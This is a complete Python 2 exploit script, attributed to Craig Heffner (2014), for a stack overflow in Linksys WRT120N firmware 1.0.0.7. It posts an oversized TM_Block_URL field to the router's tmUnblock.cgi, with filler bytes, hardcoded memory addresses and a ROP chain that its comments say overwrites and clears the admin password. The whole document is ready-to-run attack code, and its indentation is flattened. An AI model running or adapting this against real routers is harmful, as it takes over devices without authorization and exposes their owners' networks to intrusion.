WRT120N 1.0.0.7 Stack Overflow

`#!/usr/bin/env python  
#  
# WRT120N v1.0.0.7 stack overflow, ROP to 4-byte overwrite which clears the admin password.  
#  
# Craig Heffner  
# http://www.devttys0.com  
# 2014-02-14  
  
import sys  
import urllib2  
  
try:  
target = sys.argv[1]  
except IndexError:  
print "Usage: %s <target ip>" % sys.argv[0]  
sys.exit(1)  
  
url = target + '/cgi-bin/tmUnblock.cgi'  
if '://' not in url:  
url = 'http://' + url  
  
post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="  
post_data += "B" * 246 # Filler  
post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory  
post_data += "\x80\x31\xF6\x34" # $ra  
post_data += "C" * 0x28 # Stack filler  
post_data += "D" * 4 # ROP 1 $s0, don't care  
post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2)  
post_data += "E" * 8 # Stack filler  
  
for i in range(0, 4):  
post_data += "F" * 4 # ROP 2 $s0, don't care  
post_data += "G" * 4 # ROP 2 $s1, don't care  
post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself)  
post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the  
# last stack frame where it needs to be 1 byte (to  
# account for the trailing "\n\n" and terminating  
# NULL byte)  
  
try:  
req = urllib2.Request(url, post_data)  
res = urllib2.urlopen(req)  
except urllib2.HTTPError as e:  
if e.code == 500:  
print "OK"  
else:  
print "Received unexpected server response:", str(e)  
except KeyboardInterrupt:  
pass  
  
`